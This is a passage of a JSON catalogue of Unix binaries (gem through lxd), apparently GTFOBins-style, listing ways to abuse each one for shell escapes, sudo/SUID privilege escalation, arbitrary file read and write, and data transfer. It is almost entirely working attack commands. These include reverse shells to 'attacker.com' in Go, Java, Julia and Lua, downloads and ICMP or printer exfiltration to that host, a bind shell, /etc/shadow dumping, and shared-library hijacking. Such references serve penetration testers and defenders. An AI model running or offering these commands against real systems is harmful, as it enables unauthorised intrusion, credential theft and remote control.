/path/to/script.rb","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"},{"code":"gem install --file /path/to/script.rb","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}],"shell":[{"code":"gem open -e '/bin/sh -s' debug","comment":"This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.","contexts":{"sudo":null,"unprivileged":null}}]}},"genie": {"functions":{"shell":[{"code":"genie -c '/bin/sh'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"genisoimage": {"functions":{"file-read":[{"code":"genisoimage -q -o - /path/to/input-file","comment":"The output is placed inside the ISO9660 file system binary format, it can be mounted or extracted with tools like `7z`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"genisoimage -sort /path/to/input-file","comment":"The file is parsed, and some of its content is disclosed by the error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"getent": {"functions":{"privilege-escalation":[{"code":"getent shadow","comment":"This allows to dump password hashes from the `/etc/shadow` file.","contexts":{"sudo":null,"suid":null}}]}},"ghc": {"functions":{"shell":[{"code":"ghc -e 'System.Process.callCommand \"/bin/sh\"'","contexts":{"sudo":null,"unprivileged":null}}]}},"ghci": {"functions":{"shell":[{"code":"ghci\nSystem.Process.callCommand \"/bin/sh\"","contexts":{"sudo":null,"unprivileged":null}}]}},"gimp": {"functions":{"inherit":[{"code":"gimp -idf --batch-interpreter=python-fu-eval -b '...'","comment":"This allows to run Python code (`...`). It hangs afterwards and can be terminated by pressing `Ctrl-C`.","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"ginsh": {"functions":{"shell":[{"code":"ginsh\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"git": {"functions":{"file-read":[{"code":"git diff /dev/null /path/to/input-file","comment":"The read file content is displayed in `diff` style output format.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"git apply --unsafe-paths --directory / x.patch","comment":"The patch can be created locally by creating the file that will be written on the target using its absolute path:\n\n```\necho DATA >/path/to/input-file\ngit diff /dev/null /path/to/input-file >x.patch\n```","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"git help config","contexts":{"sudo":null,"unprivileged":null},"from":"less"},{"code":"git branch --help config\n!/bin/sh","comment":"The help system can also be reached from any `git` command, e.g., `git branch`.","contexts":{"sudo":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"PAGER='/bin/sh -c \"exec sh 0<&1\"' git -p help","contexts":{"sudo":null,"unprivileged":null}},{"code":"git init .\necho 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit\nchmod +x .git/hooks/pre-commit\ngit -C . commit --allow-empty -m x","comment":"Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.","contexts":{"sudo":null,"unprivileged":null}},{"code":"ln -s /bin/sh git-x\ngit --exec-path=. x","contexts":{"sudo":null,"suid":{"code":"ln -s /bin/sh git-x\ngit --exec-path=. x -p","shell":false},"unprivileged":null}}]}},"gnuplot": {"functions":{"shell":[{"code":"gnuplot -e 'system(\"/bin/sh 1>&0\")'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"go": {"functions":{"bind-shell":[{"code":"echo -e 'package main\\nimport (\\n\\t\"os\"\\n\\t\"syscall\"\\n)\\n\\nfunc main(){\\n\\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\\n\\taddr := &syscall.SockaddrInet4{Port: 12345}\\n\\tcopy(addr.Addr[:], []byte{0,0,0,0})\\n\\tsyscall.Bind(fd, addr)\\n\\tsyscall.Listen(fd, 1)\\n\\tnfd, _, _ := syscall.Accept(fd)\\n\\tsyscall.Dup2(nfd, 0)\\n\\tsyscall.Dup2(nfd, 1)\\n\\tsyscall.Dup2(nfd, 2)\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, os.Environ())\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go","connector":"tcp-client","contexts":{"sudo":null,"unprivileged":null}}],"file-read":[{"code":"echo -e 'package main\\nimport (\\n\\t\"fmt\"\\n\\t\"os\"\\n)\\n\\nfunc main(){\\n\\tb, _ := os.ReadFile(\"/path/to/input-file\")\\n\\tfmt.Print(string(b))\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"echo -e 'package main\\nimport \"os\"\\nfunc main(){\\n\\tf, _ := os.OpenFile(\"/path/to/output-file\", os.O_RDWR|os.O_CREATE, 0644)\\n\\tf.Write([]byte(\"DATA\\\\n\"))\\n\\tf.Close()\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go","contexts":{"sudo":null,"unprivileged":null}}],"reverse-shell":[{"code":"echo -e 'package main\\nimport (\\n\\t\"os\"\\n\\t\"net\"\\n\\t\"syscall\"\\n)\\n\\nfunc main(){\\n\\tfd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\\n\\tip := net.ParseIP(\"attacker.com\").To4()\\n\\taddr := &syscall.SockaddrInet4{Port: 12345}\\n\\tcopy(addr.Addr[:], ip)\\n\\tsyscall.Connect(fd, addr)\\n\\tsyscall.Dup2(fd, 0)\\n\\tsyscall.Dup2(fd, 1)\\n\\tsyscall.Dup2(fd, 2)\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, os.Environ())\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go","contexts":{"sudo":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"echo -e 'package main\\nimport \"syscall\"\\nfunc main(){\\n\\tsyscall.Exec(\"/bin/sh\", []string{\"/bin/sh\", \"-i\"}, []string{})\\n}' >/path/to/temp-file.go\ngo run /path/to/temp-file.go","contexts":{"sudo":null,"unprivileged":null}}]}},"grc": {"functions":{"shell":[{"code":"grc --pty /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"grep": {"functions":{"file-read":[{"binary":false,"code":"grep '' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"gtester": {"functions":{"file-write":[{"code":"gtester DATA -o /path/to/output-file","comment":"Data to be written appears in an XML attribute in the output file (`<testbinary path=\"DATA\">`).","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"echo 'exec /bin/sh 0<&1' >/path/to/temp-file\nchmod +x /path/to/temp-file\ngtester -q /path/to/temp-file","contexts":{"sudo":null,"suid":{"code":"echo '#!/bin/sh -p' >/path/to/temp-file\necho 'exec /bin/sh -p 0<&1' >>/path/to/temp-file\nchmod +x /path/to/temp-file\ngtester -q /path/to/temp-file","shell":false},"unprivileged":null}}]}},"guile": {"functions":{"shell":[{"code":"guile -c '(system \"/bin/sh\")'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"gzip": {"comment":"There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.","functions":{"file-read":[{"code":"gzip -c /path/to/input-file | gzip -d","contexts":{"capabilities":{"list":["CAP_DAC_OVERRIDE"]},"sudo":null,"suid":null,"unprivileged":null}}]}},"hashcat": {"functions":{"file-write":[{"code":"echo -n DATA | tee /path/to/wordlist | md5sum | awk '{print $1}' >/path/to/hash\nhashcat -m 0 --quiet --potfile-disable -o /path/to/output-file --outfile-format=2 --outfile-autohex-disable /path/to/hash /path/to/wordlist","comment":"Append data to the end of the output file, creating if does not exist.","contexts":{"sudo":null,"unprivileged":null}}]}},"hd": {"alias":"hexdump"},"head": {"functions":{"file-read":[{"code":"head -c-0 /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"hexdump": {"functions":{"file-read":[{"code":"hd /path/to/input-file","comment":"The output is actually an hex dump.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"hg": {"functions":{"shell":[{"code":"hg --config alias.x='!/bin/sh' x","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"highlight": {"functions":{"file-read":[{"binary":false,"code":"highlight --no-doc --failsafe /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"hping3": {"functions":{"shell":[{"code":"hping3\n/bin/sh","contexts":{"sudo":null,"suid":{"code":"hping3\n/bin/sh -p","shell":false},"unprivileged":null}}],"upload":[{"code":"hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-file","comment":"The file is continuously sent as ICMP packets (e.g., of `999` bytes), the optional `--end` parameter signals when the file reached the end.","contexts":{"sudo":null},"receiver":{"code":"hping3 --icmp --listen xxx --dump","comment":"The same program can be used on the attacker box to receive the data."}}]}},"iconv": {"comment":"The `8859_1` encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.","functions":{"file-read":[{"code":"iconv -f 8859_1 -t 8859_1 /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA | iconv -f 8859_1 -t 8859_1 -o /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"iftop": {"functions":{"shell":[{"code":"iftop\n!/bin/sh","comment":"This requires the privilege to capture on some device (specify with `-i` if needed).","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"version":"0.17"}]}},"install": {"functions":{"privilege-escalation":[{"code":"install -m 6777 /path/to/input-file /path/to/output-dir/","comment":"This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.","contexts":{"sudo":null,"suid":null}}]}},"ionice": {"functions":{"shell":[{"code":"ionice /bin/sh","contexts":{"sudo":null,"suid":{"code":"ionice /bin/sh -p","shell":false},"unprivileged":null}}]}},"ip": {"functions":{"file-read":[{"binary":false,"code":"ip -force -batch /path/to/input-file","comment":"The read file content is corrupted by error prints.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"ip netns add foo\nip netns exec foo /bin/sh\nip netns delete foo","contexts":{"sudo":null,"suid":{"code":"ip netns add foo\nip netns exec foo /bin/sh -p\nip netns delete foo"}},"version":"This only works for Linux with `CONFIG_NET_NS=y`."},{"code":"ip netns add foo\nip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar\nip netns exec bar /bin/sh\nip netns delete foo\nip netns delete bar","contexts":{"sudo":null},"version":"This only works for Linux with `CONFIG_NET_NS=y`."}]}},"iptables-save": {"functions":{"file-write":[{"binary":false,"code":"iptables -A INPUT -i lo -j ACCEPT -m comment --comment DATA\niptables -S\niptables-save -f /path/to/output-file","comment":"The content is written along with a number of `iptables` rules.","contexts":{"sudo":null}}]}},"irb": {"functions":{"inherit":[{"code":"irb\n...","comment":"This allows to run Ruby code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}]}},"ispell": {"functions":{"shell":[{"code":"ispell /etc/hosts\n!/bin/sh","contexts":{"sudo":null,"suid":{"code":"ispell /etc/hosts\n!/bin/sh -p","shell":false},"unprivileged":null}}]}},"java": {"functions":{"shell":[{"code":"java Shell","comment":"The `Shell.class` class file can be compiled offline, then uploaded to the target:\n\n```\ncat >Shell.java <<EOF\npublic class Shell {\n    public static void main(String[] args) throws Exception {\n        new ProcessBuilder(\"/bin/sh\").inheritIO().start().waitFor();\n    }\n}\nEOF\n\njavac Shell.java\n```","contexts":{"sudo":null,"unprivileged":null}}]}},"jjs": {"comment":"This tool is installed starting with Java SE 8.","functions":{"download":[{"code":"jjs\nvar URL = Java.type('java.net.URL');\nvar ws = new URL('http://attacker.com/path/to/input-file');\nvar Channels = Java.type('java.nio.channels.Channels');\nvar rbc = Channels.newChannel(ws.openStream());\nvar FileOutputStream = Java.type('java.io.FileOutputStream');\nvar fos = new FileOutputStream('/path/to/output-file');\nfos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);\nfos.close();\nrbc.close();","contexts":{"sudo":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"jjs\nvar BufferedReader = Java.type('java.io.BufferedReader');\nvar FileReader = Java.type('java.io.FileReader');\nvar br = new BufferedReader(new FileReader('/path/to/input-file'));\nwhile ((line = br.readLine()) != null) { print(line); }","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"jjs\nvar FileWriter = Java.type('java.io.FileWriter');\nvar fw=new FileWriter('/path/to/output-file');\nfw.write('DATA');\nfw.close();","contexts":{"sudo":null,"unprivileged":null}}],"reverse-shell":[{"code":"jjs\nvar host='attacker.com';\nvar port=12345;\nvar ProcessBuilder = Java.type('java.lang.ProcessBuilder');\nvar p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();\nvar Socket = Java.type('java.net.Socket');\nvar s=new Socket(host,port);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();","contexts":{"sudo":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"jjs\nJava.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()","contexts":{"sudo":null,"unprivileged":null}}]}},"joe": {"functions":{"shell":[{"code":"joe\n^K!/bin/sh","comment":"The terminal is spawn int the terminal interface.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"join": {"functions":{"file-read":[{"binary":false,"code":"join -a 2 /dev/null /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"journalctl": {"comment":"This might not work if run by unprivileged users depending on the system configuration.","functions":{"inherit":[{"code":"journalctl","contexts":{"sudo":null,"unprivileged":null},"from":"less"}]}},"jq": {"functions":{"file-read":[{"binary":false,"code":"jq -Rr . /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"jrunscript": {"comment":"This tool is installed starting with Java SE 6.","functions":{"download":[{"code":"jrunscript -e 'cp(\"http://attacker.com/path/to/input-file\",\"/path/to/output-file\")'","contexts":{"sudo":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"binary":false,"code":"jrunscript -e 'br = new BufferedReader(new java.io.FileReader(\"/path/to/input-file\"));\n    while ((line = br.readLine()) != null) { print(line); }'","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"jrunscript -e 'var fw=new java.io.FileWriter(\"/path/to/output-file\");\n    fw.write(\"DATA\");\n    fw.close();'","contexts":{"sudo":null,"unprivileged":null}}],"reverse-shell":[{"code":"jrunscript -e 'var host=\"attacker.com\";\n    var port=12345;\n    var p=new java.lang.ProcessBuilder(\"/bin/sh\", \"-i\").redirectErrorStream(true).start();\n    var s=new java.net.Socket(host,port);\n    var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\n    var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){\n    while(pi.available()>0)so.write(pi.read());\n    while(pe.available()>0)so.write(pe.read());\n    while(si.available()>0)po.write(si.read());\n    so.flush();po.flush();\n    java.lang.Thread.sleep(50);\n    try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'","contexts":{"sudo":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"jrunscript -e 'exec(\"/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty\")'","contexts":{"sudo":null,"suid":{"code":"jrunscript -e 'exec(\"/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty\")'","comment":"This has been found working in macOS but failing on Linux systems.","shell":false},"unprivileged":null}}]}},"jshell": {"functions":{"file-read":[{"binary":false,"code":"jshell\njshell> /open /path/to/input-file","comment":"The content is leaked as error messages.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"jshell\nString x = \"DATA\";\n/save /path/to/output-file","comment":"Writes only the valid Java code to file.","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"blind":true,"code":"jshell\nRuntime.getRuntime().exec(\"/path/to/command\");","contexts":{"sudo":null,"unprivileged":null}}]}},"jtag": {"functions":{"shell":[{"code":"jtag --interactive\nshell /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"julia": {"functions":{"download":[{"code":"julia -e 'download(\"http://attacker.com/path/to/input-file\", \"/path/to/output-file\")'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"julia -e 'print(open(f->read(f, String), \"/path/to/input-file\"))'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"julia -e 'open(f->write(f, \"DATA\"), /path/to/output-file, \"w\")'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"julia -e 'using Sockets; sock=connect(\"attacker.com\", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"julia -e 'run(`/bin/sh`)'","contexts":{"sudo":null,"suid":{"code":"julia -e 'run(`/bin/sh -p`)'","shell":false},"unprivileged":null}}]}},"knife": {"functions":{"inherit":[{"code":"knife exec -E '...'","comment":"This allows to run Ruby code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}]}},"ksh": {"alias":"bash"},"ksshell": {"functions":{"file-read":[{"code":"ksshell -i /path/to/input-file","comment":"Each line is corrupted by a prefix string. Also consider that lines are actually parsed as `kickstart` scripts thus some file contents may lead to unexpected results.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ksu": {"functions":{"shell":[{"code":"ksu -q -e /bin/sh","contexts":{"sudo":null}}]}},"kubectl": {"functions":{"shell":[{"code":"cat >/path/to/temp-file <<EOF\nclusters:\n- cluster:\n    server: https://x\n  name: x\ncontexts:\n- context:\n    cluster: x\n    user: x\n  name: x\ncurrent-context: x\nusers:\n- name: x\n  user:\n    exec:\n      apiVersion: client.authentication.k8s.io/v1\n      interactiveMode: Always\n      command: /bin/sh\n      args:\n        - '-c'\n        - '/bin/sh 0<&2 1>&2'\nEOF\n\nkubectl get pods --kubeconfig=/path/to/temp-file","comment":"The shell is spawn multiple times.","contexts":{"sudo":null,"unprivileged":null}}],"upload":[{"code":"kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":{"code":"curl victim.com:12345/x/path/to/input-file -o /path/to/output-file","comment":"An HTTP client can be used on the attacker box to receive the data."}}]}},"last": {"functions":{"file-read":[{"code":"last -a -f /path/to/input-file","comment":"The output might be corrupted or incomplete if the file does not follow the expected database format.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"lastb": {"alias":"last"},"latex": {"functions":{"file-read":[{"code":"latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{/path/to/input-file}\\end{document}'\nstrings texput.dvi","comment":"The read file will be part of the PDF output.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"latex '\\documentclass{article}\\newwrite\\tempfile\\begin{document}\\immediate\\openout\\tempfile=output-file.tex\\immediate\\write\\tempfile{DATA}\\immediate\\closeout\\tempfile\\end{document}'","comment":"The file can only be written in the current directory, and the `.tex` extension is mandatory.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"latex --shell-escape '\\immediate\\write18{/bin/sh}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"latexmk": {"functions":{"file-read":[{"binary":false,"code":"echo '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{/path/to/input-file}\\end{document}' >/path/to/temp-file\nlatexmk -dvi /path/to/temp-file\nstrings temp-file.dvi","comment":"The read file will be part of the output.","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"latexmk -e '...'","comment":"This allows to run Perl code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"perl"}],"shell":[{"code":"latexmk -pdf -pdflatex='/bin/sh #' /dev/null","contexts":{"sudo":null,"unprivileged":null}}]}},"ld.so": {"comment":"`ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions (e.g., `/lib64/ld-linux-x86-64.so.2`). The actual path is can be obtained with:\n\n```\nstrings /proc/self/exe | head -1\n```","functions":{"shell":[{"code":"/path/to/ld.so /bin/sh","comment":"The spawned process will be the loader, not the target executable, this might aid evasion. See <https://shyft.us/posts/20230526_linux_command_proxy.html> for more information.","contexts":{"sudo":null,"suid":{"code":"/path/to/ld.so /bin/sh -p","shell":false},"unprivileged":null}}]}},"ldconfig": {"functions":{"library-load":[{"code":"echo /path/to/temp-dir/ >/path/to/temp-file\nldconfig -f /path/to/temp-file\nping","comment":"This allows to override one or more shared libraries (e.g., `libpcap`) globally, then triggers the execution by running a program that uses it, e.g., `ping`. This is particularly useful if the target binary is SUID. Beware though that it is easy to end up with a broken target system.\n\nFirst identify the shared libraries used by the target program, for example:\n\n```\n$ ldd /bin/ping | grep libcap\n        libcap.so.2 => /path/to/temp-dir/libcap.so.2 (0x00007f8417eef000)\n```\n\nThen create the shared library override, named `libcap.so.2`, and put in in `/path/to/temp-dir/`. The program might require some exported symbols from the library override, in that case make sure to add them (e.g., `void cap_get_flag() {}`).","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"less": {"functions":{"command":[{"code":"cp /path/to/command ~/.lessfilter\nless /etc/hosts","contexts":{"unprivileged":null}},{"code":"LESSOPEN='/path/to/command # %s' less /etc/hosts","contexts":{"sudo":null,"unprivileged":null}}],"file-read":[{"code":"less /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"less /etc/hosts\n:e /path/to/input-file","comment":"This can be used to read another file, e.g., when invoked as a pager with some fixed content.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts","comment":"This can be used to read another file.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA | less\ns/path/to/output-file\nq","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"less /etc/hosts\nv","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"vi"}],"shell":[{"code":"less /etc/hosts\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"LESSOPEN=\"/bin/sh -s 1>&0 2>&0 # %s\" less /etc/hosts\nreset","comment":"The optional `reset` command is needed to receive the echo back of the typed keystrokes.","contexts":{"sudo":null,"unprivileged":null}},{"code":"VISUAL='/bin/sh -s --' less /etc/hosts\nv","contexts":{"sudo":null,"unprivileged":null}}]}},"lftp": {"functions":{"shell":[{"code":"lftp -c '!/bin/sh'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"links": {"functions":{"file-read":[{"binary":false,"code":"links /path/to/input-file","comment":"The result is displayed in a TUI interface.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ln": {"functions":{"privilege-escalation":[{"code":"ln -fs /bin/sh /bin/ln\nln","comment":"This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.","contexts":{"sudo":null}}]}},"loginctl": {"comment":"This might not work if run by unprivileged users depending on the system configuration.","functions":{"shell":[{"code":"loginctl user-status\n!/bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"logrotate": {"functions":{"file-read":[{"binary":false,"code":"logrotate /path/to/input-file","comment":"The first word is returned in a error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"logrotate -l /path/to/output-file DATA","comment":"The content is written in a log file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"echo -e '/path/to/temp-file.config {\\nmail x@x.x\\n}' >/path/to/temp-file.config\necho '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh\nlogrotate -m /path/to/temp-file.sh -f /path/to/temp-file","comment":"This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.","contexts":{"sudo":null}}]}},"logsave": {"functions":{"shell":[{"code":"logsave /dev/null /bin/sh -i","contexts":{"sudo":null,"suid":{"code":"logsave /dev/null /bin/sh -i -p","shell":false},"unprivileged":null}}]}},"look": {"functions":{"file-read":[{"code":"look '' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"lp": {"functions":{"upload":[{"code":"lp /path/to/input-file -h attacker.com","comment":"This requires `cups` to be installed. Run the following on the attacker box beforehand:\n\n1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;\n2. `lpadmin -d printer` to set the new printer as default;\n3. `cupsctl --remote-any` to enable printing from the Internet.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":{"code":"nc -l -p 9100 >/path/to/output-file","comment":"A TCP server can be used on the attacker box to receive the data."}}]}},"ltrace": {"functions":{"file-read":[{"binary":false,"code":"ltrace -F /path/to/input-file /dev/null","comment":"The file is parsed as a configuration file and its content is shown as error messages.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"ltrace -s 999 -o /path/to/input-file ltrace -F DATA","comment":"The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`.","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"ltrace -b -L /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"lua": {"functions":{"bind-shell":[{"code":"lua -e '\n  local k=require(\"socket\");\n  local s=assert(k.bind(\"*\",12345));\n  local c=s:accept();\n  while true do\n    local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n    local b=assert(f:read(\"*a\"));c:send(b);\n  end;c:close();f:close();'","comment":"This requires `lua-socket` to be available.","connector":"tcp-client","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"download":[{"code":"lua -e '\n  local k=require(\"socket\");\n  local s=assert(k.bind(\"*\",12345));\n  local c=s:accept();\n  local d,x=c:receive(\"*a\");\n  c:close();\n  local f=io.open(\"/path/to/output-file\", \"wb\");\n  f:write(d);\n  io.close(f);'","comment":"This requires `lua-socket` to be available.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tcp-client"}],"file-read":[{"code":"lua -e 'local f=io.open(\"/path/to/input-file\", \"rb\"); io.write(f:read(\"*a\")); io.close(f);'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"lua -e 'local f=io.open(\"/path/to/output-file\", \"wb\"); f:write(\"DATA\"); io.close(f);'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"lua -e '\n  local s=require(\"socket\");\n  local t=assert(s.tcp());\n  t:connect(\"attacker.com\",12345);\n  while true do\n    local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n    local b=assert(f:read(\"*a\"));t:send(b);\n  end;\n  f:close();t:close();'","comment":"This requires `lua-socket` to be available.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"lua -e 'os.execute(\"/bin/sh\")'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"upload":[{"code":"lua -e '\n  local f=io.open(\"/path/to/input-file\", \"rb\")\n  local d=f:read(\"*a\")\n  io.close(f);\n  local s=require(\"socket\");\n  local t=assert(s.tcp());\n  t:connect(\"attacker.com\",12345);\n  t:send(d);\n  t:close();'","comment":"This requires `lua-socket` to be available.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-server"}]}},"lualatex": {"functions":{"inherit":[{"code":"lualatex -shell-escape '\\directlua{...}\\end'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua"}]}},"luatex": {"functions":{"inherit":[{"code":"luatex -shell-escape '\\directlua{...}\\end'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua"}]}},"lwp-download": {"functions":{"download":[{"code":"lwp-download http://attacker.com/path/to/input-file /path/to/output-file","comment":"The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.","contexts":{"sudo":null,"unprivileged":null}}],"file-read":[{"code":"lwp-download file:///path/to/input-file /dev/stdout","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA >/path/to/temp-file\nlwp-download file:///path/to/temp-file /path/to/output-file","contexts":{"sudo":null,"unprivileged":null}},{"code":"lwp-download file:///path/to/input-file /path/to/output-file","comment":"This actually copies a file to a destination.","contexts":{"sudo":null,"unprivileged":null}}]}},"lwp-request": {"functions":{"file-read":[{"code":"lwp-request file:///path/to/input-file","contexts":{"sudo":null,"unprivileged":null}}]}},"lxd": {"functions":{"shell":[{"code":"lxc init ubuntu:16.04 x -c security.privileged=true\nlxc config device add x x disk source=/ path=/mnt/ recursive=true\nlxc start x\nlxc exec x /bin/sh","comment":"The image (e.g., `ubuntu:16.04`) must be present already, otherwise it will be 